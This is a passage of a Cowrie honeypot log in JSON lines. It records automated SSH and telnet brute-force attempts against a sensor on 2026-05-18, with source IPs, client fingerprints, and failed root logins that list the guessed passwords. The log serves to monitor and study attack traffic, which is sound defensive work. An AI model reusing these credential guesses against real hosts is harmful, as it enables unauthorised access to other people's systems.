512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:45:08.905778Z","src_ip":"103.195.236.96","session":"023e2c40772b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:45:09.186609Z","src_ip":"43.128.111.187","session":"1f90c458c617","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"10577","message":"login attempt [root/10577] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:45:09.685313Z","src_ip":"103.195.236.96","session":"023e2c40772b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:45:10.929447Z","src_ip":"103.195.236.96","session":"023e2c40772b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.193.106.227","src_port":46042,"dst_ip":"10.17.0.5","dst_port":22,"session":"d46834305988","protocol":"ssh","message":"New connection: 62.193.106.227:46042 (10.17.0.5:22) [session: d46834305988]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:45:13.129625Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:45:13.136604Z","src_ip":"62.193.106.227","session":"d46834305988","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:45:13.282345Z","src_ip":"62.193.106.227","session":"d46834305988","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ubuntu","message":"login attempt [root/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:45:13.901797Z","src_ip":"62.193.106.227","session":"d46834305988","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:45:15.052672Z","src_ip":"62.193.106.227","session":"d46834305988","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47610,"dst_ip":"10.17.0.5","dst_port":23,"session":"c9d1e693fc0a","protocol":"telnet","message":"New connection: 152.42.224.71:47610 (10.17.0.5:23) [session: c9d1e693fc0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:45:15.354790Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.54.120","src_port":49466,"dst_ip":"10.17.0.5","dst_port":22,"session":"27c71fa8d84c","protocol":"ssh","message":"New connection: 43.153.54.120:49466 (10.17.0.5:22) [session: 27c71fa8d84c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:45:15.422821Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:45:15.433580Z","src_ip":"43.153.54.120","session":"27c71fa8d84c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:45:15.503291Z","src_ip":"43.153.54.120","session":"27c71fa8d84c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.147.93.208","src_port":47486,"dst_ip":"10.17.0.5","dst_port":22,"session":"52b4c7a8fbea","protocol":"ssh","message":"New connection: 194.147.93.208:47486 (10.17.0.5:22) [session: 52b4c7a8fbea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:45:15.544485Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:45:15.549662Z","src_ip":"194.147.93.208","session":"52b4c7a8fbea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:45:15.641005Z","src_ip":"194.147.93.208","session":"52b4c7a8fbea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc123","message":"login attempt [root/Abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:45:15.810404Z","src_ip":"43.153.54.120","session":"27c71fa8d84c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"celia123","message":"login attempt [root/celia123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:45:16.041422Z","src_ip":"194.147.93.208","session":"52b4c7a8fbea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:45:16.882065Z","src_ip":"43.153.54.120","session":"27c71fa8d84c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:45:17.137586Z","src_ip":"194.147.93.208","session":"52b4c7a8fbea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40174,"dst_ip":"10.17.0.5","dst_port":23,"session":"46f8dcb3270f","protocol":"telnet","message":"New connection: 152.42.224.71:40174 (10.17.0.5:23) [session: 46f8dcb3270f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:45:23.277371Z"}
{"eventid":"cowrie.session.closed","duration":12.249343395233154,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:45:27.603978Z","src_ip":"152.42.224.71","session":"c9d1e693fc0a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45830,"dst_ip":"10.17.0.5","dst_port":23,"session":"c84f3eb131cd","protocol":"telnet","message":"New connection: 152.42.224.71:45830 (10.17.0.5:23) [session: c84f3eb131cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:45:32.081469Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47988,"dst_ip":"10.17.0.5","dst_port":23,"session":"40a7a46a529c","protocol":"telnet","message":"New connection: 152.42.224.71:47988 (10.17.0.5:23) [session: 40a7a46a529c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:45:36.353274Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.159.35.21","src_port":41798,"dst_ip":"10.17.0.5","dst_port":22,"session":"9f7edd2dcd7e","protocol":"ssh","message":"New connection: 43.159.35.21:41798 (10.17.0.5:22) [session: 9f7edd2dcd7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:45:44.014730Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:45:44.020211Z","src_ip":"43.159.35.21","session":"9f7edd2dcd7e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:45:44.260060Z","src_ip":"43.159.35.21","session":"9f7edd2dcd7e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"commodore64","message":"login attempt [root/commodore64] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:45:45.244686Z","src_ip":"43.159.35.21","session":"9f7edd2dcd7e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:45:46.487013Z","src_ip":"43.159.35.21","session":"9f7edd2dcd7e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58886,"dst_ip":"10.17.0.5","dst_port":23,"session":"e8ee11aa8cec","protocol":"telnet","message":"New connection: 152.42.224.71:58886 (10.17.0.5:23) [session: e8ee11aa8cec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:45:52.238112Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58896,"dst_ip":"10.17.0.5","dst_port":23,"session":"b1967ea3c6ac","protocol":"telnet","message":"New connection: 152.42.224.71:58896 (10.17.0.5:23) [session: b1967ea3c6ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:45:54.490559Z"}
{"eventid":"cowrie.session.connect","src_ip":"79.132.141.112","src_port":53350,"dst_ip":"10.17.0.5","dst_port":22,"session":"06e7d2140bb9","protocol":"ssh","message":"New connection: 79.132.141.112:53350 (10.17.0.5:22) [session: 06e7d2140bb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:45:59.862672Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:45:59.867785Z","src_ip":"79.132.141.112","session":"06e7d2140bb9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:45:59.957304Z","src_ip":"79.132.141.112","session":"06e7d2140bb9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tropicana","message":"login attempt [root/tropicana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:46:00.349672Z","src_ip":"79.132.141.112","session":"06e7d2140bb9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:46:01.445319Z","src_ip":"79.132.141.112","session":"06e7d2140bb9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":43566,"dst_ip":"159.203.135.109","dst_port":22,"session":"9f71b2a8c5fd","protocol":"ssh","message":"New connection: 109.172.54.111:43566 (159.203.135.109:22) [session: 9f71b2a8c5fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:46:06.007460Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:46:06.012478Z","src_ip":"109.172.54.111","session":"9f71b2a8c5fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:46:06.120240Z","src_ip":"109.172.54.111","session":"9f71b2a8c5fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vfhufhbnf","message":"login attempt [root/vfhufhbnf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:46:06.440354Z","src_ip":"109.172.54.111","session":"9f71b2a8c5fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:46:07.556011Z","src_ip":"109.172.54.111","session":"9f71b2a8c5fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.560731887817383,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:46:07.913901Z","src_ip":"152.42.224.71","session":"40a7a46a529c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.147.93.208","src_port":42564,"dst_ip":"10.17.0.5","dst_port":22,"session":"3d441bb9517e","protocol":"ssh","message":"New connection: 194.147.93.208:42564 (10.17.0.5:22) [session: 3d441bb9517e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:46:14.368965Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:46:14.374691Z","src_ip":"194.147.93.208","session":"3d441bb9517e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:46:14.466655Z","src_ip":"194.147.93.208","session":"3d441bb9517e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"jupyter1","message":"login attempt [root/jupyter1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:46:14.861604Z","src_ip":"194.147.93.208","session":"3d441bb9517e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45274,"dst_ip":"10.17.0.5","dst_port":23,"session":"588d1c623beb","protocol":"telnet","message":"New connection: 152.42.224.71:45274 (10.17.0.5:23) [session: 588d1c623beb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:46:15.835780Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:46:15.956832Z","src_ip":"194.147.93.208","session":"3d441bb9517e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.87617087364197,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:46:16.957515Z","src_ip":"152.42.224.71","session":"c84f3eb131cd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":112.19976735115051,"message":"Connection lost after 112 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:46:20.447595Z","src_ip":"152.42.224.71","session":"9e97efa1c8a3","protocol":"telnet"}
